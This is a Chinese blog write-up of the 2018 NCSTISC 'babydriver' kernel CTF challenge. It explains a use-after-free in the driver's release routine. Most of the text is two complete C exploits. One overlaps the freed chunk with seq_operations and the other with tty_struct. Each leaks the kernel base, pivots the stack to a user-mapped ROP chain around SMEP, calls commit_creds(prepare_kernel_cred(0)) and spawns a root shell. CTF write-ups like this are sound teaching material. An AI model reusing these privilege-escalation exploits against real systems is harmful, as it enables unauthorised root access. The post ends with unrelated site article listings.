ncstisc-2018-babydriver:UAF

news2024/11/20 13:28:11

启动脚本

#! /bin/sh
qemu-system-x86_64 \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' /dev/null \
    -m 64M --nographic  \
    -smp cores=1,threads=1 -cpu kvm64,+smep

只可开启了smep保护

题目信息

babyopen

在这里插入图片描述
每次open(驱动名称),都会为babydev_struct.device_buf全局变量分配0x40大小的堆空间

babyrelease

在这里插入图片描述
关闭close(驱动文件描述符),会通过kfree()释放掉申请的堆空间,但是这里有个问题,没有将babydev_struct.device_buf置NULL

这里便存在一个问题,当连续两次打开驱动时,fd1,fd2 babydev_struct.device_buf 指向的是同一个堆空间

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);

当close(fd1),由于没将babydev_struct.device_buf置NULL,导致fd2可以继续读写babydev_struct.device_buf指向的堆空间,UAF形成

babyioctl

这里,可能题目还是怕选手觉得难,可以让选手创建任意大小的UAF
在这里插入图片描述

利用方式

下面两种都用方式大致相同

  • 通过babyopen,babyopen让两个文件描述符fd1,fd2指向同一个babydev_struct.device_buf
  • babyioctl,command==0x10001,调整babydev_struct.device_buf指向的堆为自己期望的大小
  • close(fd1); (babydev_struct.device_buf指向的堆被kfree)
  • 用户层调用,使产生合适的堆结构占据被释放掉的堆
  • 读这个堆结构,可以获取其中包含的内核函数地址,经过简单计算可以获取内核基地址
  • 写这个堆结构,覆写里面的函数指针保存的地址使得在用户态操作时,可以触发函数指针执行
  • 由于存在smep保护,一般被覆写里面的函数指针为一个栈迁移rop,然后在用户态布置rop提权

UAF seq_operations

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>

// commands
#define DEV_PATH "/dev/babydev" // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)

// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void *)0
#define errExit(msg)    \
  do                    \
  {                     \
    perror(msg);        \
    exit(EXIT_FAILURE); \
  } while (0)
#define KMALLOC(qid, msgbuf, N)                                     \
  for (int ix = 0; ix != N; ++ix)                                   \
  {                                                                 \
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
      errExit("KMALLOC");                                           \
  }
ulong user_cs, user_ss, user_sp, user_rflags;


void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}
// should compile with -masm=intel
static void save_state(void)
{
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}

static void shellcode(void)
{
  asm(
      "xor rdi, rdi\n"
      "mov rbx, QWORD PTR [rsp+0x50]\n"
      "sub rbx, 0x244566\n"
      "mov rcx, rbx\n"
      "call rcx\n"
      "mov rdi, rax\n"
      "sub rbx, 0x470\n"
      "call rbx\n"
      "add rsp, 0x20\n"
      "pop rbx\n"
      "pop r12\n"
      "pop r13\n"
      "pop r14\n"
      "pop r15\n"
      "pop rbp\n"
      "ret\n");
}
// (END utils)

/******* babydev ****************/
#define INF 1 << 31
size_t current_size = INF;

int _open()
{
  int _fd = open(DEV_PATH, O_RDWR);
  assert(_fd > 0);
  current_size = 0x40;
  return _fd;
}

void _write(int fd, char *buf, size_t size)
{
  assert(size < current_size);
  assert(write(fd, buf, size) >= 0);
}

void _realloc(int fd, size_t size)
{
  assert(ioctl(fd, 0x10001, size) == 0);
  current_size = size;
}

void _close(int fd)
{
  assert(close(fd) >= 0);
}

void _read(int fd, char *buf, size_t size)
{
  assert(size < current_size);
  assert(read(fd, buf, size) > 0);
}
/******* (END babydev) *************/

/*** gadgets ***/
/*
0xffffffff810eefd0: mov esp, 0x5DFFFA88 ; ret  ;  (1 found)
0xffffffff81018062: mov rdi, rax ; rep movsq  ; pop rbp ; ret  ;  (1 found)
0xffffffff810a1810 T prepare_kernel_cred
0xffffffff810a1420 T commit_creds
0xffffffff8102a4a5: mov rax, rdi ; pop rbp ; ret  ;  (32 found)
0xffffffff8181a797:       48 cf                   iretq
0xffffffff8100700c: pop rcx ; ret  ;  (25 found)

0xffffffff81063694:       0f 01 f8                swapgs
0xffffffff81063697:       5d                      pop    rbp
0xffffffff81063698:       c3                      ret

*/

void gen_chain(ulong *a, const ulong kernbase)
{
  scu pop_rdi = 0x3e7d9d;
  scu prepare_kernel_cred = 0x0a1810;
  scu rax2rdi_rep_pop_rbp = 0x018062;
  scu pop_rcx = 0x00700c;
  scu commit_creds = 0x0a1420;
  scu swapgs_pop_rbp = 0x063694;
  scu iretq = 0x81a797;

  save_state();

  *a++ = pop_rdi + kernbase;
  *a++ = 0;
  *a++ = prepare_kernel_cred + kernbase;
  *a++ = pop_rcx + kernbase;
  *a++ = 0;
  *a++ = rax2rdi_rep_pop_rbp + kernbase;
  *a++ = 0;
  *a++ = commit_creds + kernbase;

  *a++ = swapgs_pop_rbp + kernbase;
  *a++ = 0;
  *a++ = iretq + kernbase;
  *a++ = &NIRUGIRI;
  *a++ = user_cs;
  *a++ = user_rflags;
  *a++ = user_sp;
  *a++ = user_ss;

  *a++ = 0xdeadbeef; // unreachable
}

/************ MAIN ****************/

int main(int argc, char *argv[])
{
  char buf[0x2000];
  int fd[0x10];
  int statfd;

  // 1、UAF
  fd[0] = _open();
  fd[1] = _open();
  _realloc(fd[0], 0x20);  // kmalloc 0x20的UAF
  _close(fd[0]);

  // 2、leak kernbase 获取 kernel base
  statfd = open("/proc/self/stat", O_RDONLY); // 产生一个 seq_operations 结构体
  assert(statfd > 0);
  _read(fd[1], buf, 0x10); // 读取 seq_operations结构体
  const ulong single_start = ((ulong *)buf)[0];
  const ulong kernbase = single_start - 0x22f4d0UL;
  printf("[!] single_start: %lx\n", single_start);
  printf("[!] kernbase: %lx\n", kernbase);

  // 3、prepare chain and get RIP 当前环境smep,no-smap
  const ulong gadstack = 0x5DFFFA88; // mov esp, 0x5DFFFA88,目的是通过栈迁移,跳转到这个地址执行
  // mmap申请的地址需要页对齐
  const char *maddr = mmap(gadstack & ~0xFFF, 4 * PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  const ulong **chain = maddr + (gadstack & 0xFFF);
  // 在栈迁移后的地址上,布置提权代码
  gen_chain(chain, kernbase);

  ((ulong *)buf)[0] = kernbase + 0x0eefd0; // 0xffffffff810eefd0 mov esp, 0x5DFFFA88 ; ret  ;
  _write(fd[1], buf, 0x8);                 // 修改 seq_operations结构体 中的 start指针

  // NIRUGIRI
  read(statfd, buf, 1); // 触发 start指针

  return 0;
}

/*
cdev: 0xffffffffc0002460
fops: 0xffffffffc0002000
kmem_cache_alloc_trace: 0xffffffff811ea180
babyopen: 0xffffffffc0000030
babyioctl: 0xffffffffc0000080
babywrite: 0xffffffffc00000f0
kmalloc-64: 0xffff880002801b00
kmalloc-64's cpu_slub: 0x19e80
babydev_struct: 0xffffffffc00024d0
*/

UAF tty_operations

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
    __asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs));
    __asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss));
    __asm__("pushfq");
    __asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags));
}


unsigned long pivot_gadget = 0xffffffff814f5359;    // 0xffffffff814f5359: mov esp, 0x01740100 ; ret  ;  (1 found)
unsigned long pop_rdi = 0xffffffff810d238d;         // 0xffffffff810d238d: pop rdi ; ret  ;  (58 found)
unsigned long mov_rdi_rax_call_rdx_pop_rbp = 0xffffffff8180c4a2; // 0xffffffff8180c4a2: mov rdi, rax ; call rdx ;  (1 found)
unsigned long pop_rdx = 0xffffffff8144d302;         // 0xffffffff8144d302: pop rdx ; ret  ;  (1 found)
unsigned long prepare_kernel_cred = 0xffffffff810a1810;    // ffffffff810a1810 T prepare_kernel_cred
unsigned long commit_creds = 0xffffffff810a1420;    // ffffffff810a1420 T commit_creds
unsigned long iretq = 0xffffffff8181a797;
unsigned long swapgs_pop_rbp = 0xffffffff81063694; // 0xffffffff81063694: swapgs  ; pop rbp ; ret  ;  (1 found)

int fd, fd2;
unsigned long fake_tty_operations[0x100/8];
unsigned long fake_file[0x100/8];
unsigned long orig_file[0x100/8];

void shell(void) {
    write(fd, orig_file, 0x100-1);
    char *args[] = {"/bin/sh", 0};
    execve("/bin/sh", args, 0);
}

int main(void) {
    int fds[0x100];
    char buf[0x100];
    unsigned long *fake_stack;
    
    save_state();

    fake_stack = mmap(0x01740000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
    fake_stack += (0x8100/8);
    *fake_stack++ = pop_rdi;
    *fake_stack++ = 0;
    *fake_stack++ = prepare_kernel_cred;
    *fake_stack++ = pop_rdx;
    *fake_stack++ = commit_creds + 6;
    *fake_stack++ = mov_rdi_rax_call_rdx_pop_rbp;
    *fake_stack++ = swapgs_pop_rbp;
    *fake_stack++ = 0xdeadbeef;
    *fake_stack++ = iretq;
    *fake_stack++ = (unsigned long)&shell;
    *fake_stack++ = user_cs;
    *fake_stack++ = user_rflags;
    *fake_stack++ = 0x01740000;
    *fake_stack++ = user_ss;

    puts("open twice /dev/babydev");
    fd = open("/dev/babydev", O_RDWR);
    fd2 = open("/dev/babydev", O_RDWR);
    if (fd < 0 || fd2 < 0) {
        puts("open error");
        exit(1);
    }

    puts("call kmalloc(256)");
    ioctl(fd, 0x10001, 256);

    puts("overlap tty_struct with freed chunk");
    close(fd2);
    for (int i=0; i<0x100; i++) {
        fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR);
    }

    puts("cause UAF");
    read(fd, fake_file, 0x100-1);
    memcpy(orig_file, fake_file, 0x100);
    fake_tty_operations[8] = pivot_gadget;
    fake_file[5] = &fake_tty_operations;
    write(fd, fake_file, 0x100-1);

    puts("trigger tty->ops->ioctl");
    for (int i=0; i<0x100; i++) {
        ioctl(fds[i], 0xdeadbeef, 0xbeefbabe);
        close(fds[i]);
    }

    while(1) {}
    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1442490.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VitePress-12-markdown中使用vue的语法

前言 VitePress 中&#xff0c;markdown文档最终都会转换成为 html文件&#xff0c;我们在访问的时候&#xff0c;也是直接访问的 xxx.html 文件。而且&#xff0c;markdown文档会被作为 [vue单文件] 进行处理&#xff0c;因此&#xff0c;我们我们可以在文档中使用 vue 语法&…

力扣231. 2 的幂(数学,二分查找,位运算)

Problem: 231. 2 的幂 文章目录 题目描述思路即解法复杂度Code 题目描述 思路即解法 思路1&#xff1a;位运算 1.易验证2的幂为正数&#xff1b; 2.易得2的幂用二进制表示只能有一个位为数字1 3.即将其转换为二进制统计其二进制1的个数 思路2&#xff1a;数学 当给定数n大于1时…

Java并发基础:LinkedTransferQueue全面解析!

内容概要 LinkedTransferQueue类实现了高效的线程间数据传递&#xff0c;支持等待匹配的生产者-消费者模式&#xff0c;基于链表的无界设计使其在高并发场景下表现卓越&#xff0c;且无需担心队列溢出&#xff0c;丰富的方法和良好的可扩展性满足了各种复杂应用场景的需求。 …

防疫物资管理新篇章:Java+SpringBoot实战

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

材料非线性Matlab有限元编程:切线刚度法

导读:本文主要围绕材料非线性问题的有限元Matlab编程求解进行介绍,重点围绕牛顿-拉普森法(切线刚度法)、初应力法、初应变法等三种非线性迭代方法的算法原理展开讲解,最后利用Matlab对材料非线性问题有限元迭代求解算法进行实现,展示了实现求解的核心代码。这些内容都将收…

龙芯开启ssh服务——使用Putty连接

本文采用龙芯3A6000处理器&#xff0c;Loongnix操作系统。 为了能使用其他电脑远程操控龙芯电脑&#xff0c;需要打开loongnix的ssh服务&#xff0c;并在其他电脑里使用putty连接loongnix。 1 修改ssh配置文件 命令行输入&#xff1a; sudo vim /etc/ssh/sshd_config按下i插…

「递归算法」:子集(两种解法)

一、题目 给你一个整数数组 nums &#xff0c;数组中的元素 互不相同 。返回该数组所有可能的子集&#xff08;幂集&#xff09;。 解集 不能 包含重复的子集。你可以按 任意顺序 返回解集。 示例 1&#xff1a; 输入&#xff1a;nums [1,2,3] 输出&#xff1a;[[],[1],[2]…

Redis发布订阅及事务管理

目录 1.1 发布订阅 1.1.1 什么是发布订阅 1.1.2 常用命令 1.1.3 示例演示 1.2 事务管理 1.2.1 事务定义 1.2.2 Multi、Exec、discard 1.2.3 示例 1.2.4 事务的错误处理 1.2.5 事务的冲突问题 1.2.5.1 事务场景 1.2.5.2 悲观锁 1.2.5.3 乐观锁 1.2.5.4 事务解决冲…

【EAI 011】SayCan: Grounding Language in Robotic Affordances

论文标题&#xff1a;Do As I Can, Not As I Say: Grounding Language in Robotic Affordances 论文作者&#xff1a;Michael Ahn, Anthony Brohan, Noah Brown, Yevgen Chebotar, Omar Cortes, Byron David, Chelsea Finn, Chuyuan Fu, Keerthana Gopalakrishnan, Karol Hausm…

【八大排序】归并排序 | 计数排序 + 图文详解!!

&#x1f4f7; 江池俊&#xff1a; 个人主页 &#x1f525;个人专栏&#xff1a; ✅数据结构冒险记 ✅C语言进阶之路 &#x1f305; 有航道的人&#xff0c;再渺小也不会迷途。 文章目录 一、归并排序1.1 基本思想 动图演示2.2 递归版本代码实现 算法步骤2.3 非递归版本代…

Linux应用程序参数传递的深入探索

大家好&#xff0c;今天给大家介绍Linux应用程序参数传递的深入探索&#xff0c;文章末尾附有分享大家一个资料包&#xff0c;差不多150多G。里面学习内容、面经、项目都比较新也比较全&#xff01;可进群免费领取。 在Linux环境中&#xff0c;应用程序的参数传递是一个核心且灵…

【机房预约系统(C++版)】

一、机房预约系统需求 1.1、系统简介 学校现有几个规格不同的机房&#xff0c;由于使用时经常出现“撞车“现象,现开发一套机房预约系统&#xff0c;解决这一问题。 1.2、身份简介 分别有三种身份使用该程序学生代表:申请使用机房教师:审核学生的预约申请管理员:给学生、教…

Flink从入门到实践(三):数据实时采集 - Flink MySQL CDC

文章目录 系列文章索引一、概述1、版本匹配2、导包 二、编码实现1、基本使用2、更多配置3、自定义序列化器4、Flink SQL方式 三、踩坑1、The MySQL server has a timezone offset (0 seconds ahead of UTC) which does not match the configured timezone Asia/Shanghai. 参考资…

tlias智能学习辅助系统-增删改查+参数传递

本篇实现黑马tlias智能学习辅助系统中的部门以及员工管理&#xff0c;主要完成增删改查操作以及一些细节问题&#xff0c;后面会进一步总结登录校验、异常处理以及AOP的内容。 目录 一、环境搭建&#xff1a; 二、部门管理&#xff1a; 1、查询所有部门&#xff1a; contr…

switch 安装 moonlight 串流

准备工作&#xff1a; 1. 破解的switch 2. 能进行串流&#xff0c;支持moonlight 的电脑&#xff08;nvdia shiled 功能 / sunshine 软件&#xff09; 3. 比较好的网络环境&#xff1a;5Ghz频段wifi的稳定链接 --- 1. 去下载 moonlight 的 nro 包 GitHub - rock88/moonlig…

探索ChatGPT-4:智能会话的未来已来

深入了解ChatGPT-4&#xff1a;前沿AI的强大功能 ChatGPT-4是最先进的语言模型之一&#xff0c;由OpenAI开发&#xff0c;它在自然语言理解和生成方面的能力已经达到了新的高度。如今&#xff0c;ChatGPT-4已经被广泛应用于多个领域&#xff0c;从教育到企业&#xff0c;再到技…

Spring Boot 笔记 003 Bean注册

使用Idea导入第三方jar包这种方法是不对的 使用maven命令导入jar包 官网下载maven Maven – Download Apache Maven 解压缩后在命令行输入命令&#xff0c;注意看输出的结果&#xff0c;安装的是不是你本地的maven仓库 mvn install:install-file -Dfile"D:\common-pojo-2…

CTFSHOW命令执行web入门29-54

description: >- 这里就记录一下ctfshow的刷题记录是web入门的命令执行专题里面的题目,他是有分类,并且覆盖也很广泛,所以就通过刷这个来,不过里面有一些脚本的题目发现我自己根本不会笑死。 如果还不怎么知道写题的话,可以去看我的gitbook,当然csdn我也转载了我自己的…

[SAP ABAP] 创建Package

Package被称作包或开发类&#xff0c;能够存储所有SAP系统开发过程中的相关对象&#xff0c;方便进行管理和查询 我们可以通过Package实现其所包含的对象在不同服务器之间进行批量传输(通过请求号传输) 请求号是文件&#xff0c;用于记录所有对象的创建与修改记录 1.创建Packag…

【Jenkins】Jenkins关闭Jenkins关闭、重启

目录 一、Jenkins关闭、重启 二、Jenkins服务的启动、停止方法。 一、Jenkins关闭、重启 1.关闭Jenkins 只需要在访问jenkins服务器的网址url地址后加上exit&#xff0c;关闭Jenkins服务。 例如&#xff1a;http://localhost:8081/exit 2.重启Jenkies 只有在Jenkins服务启动…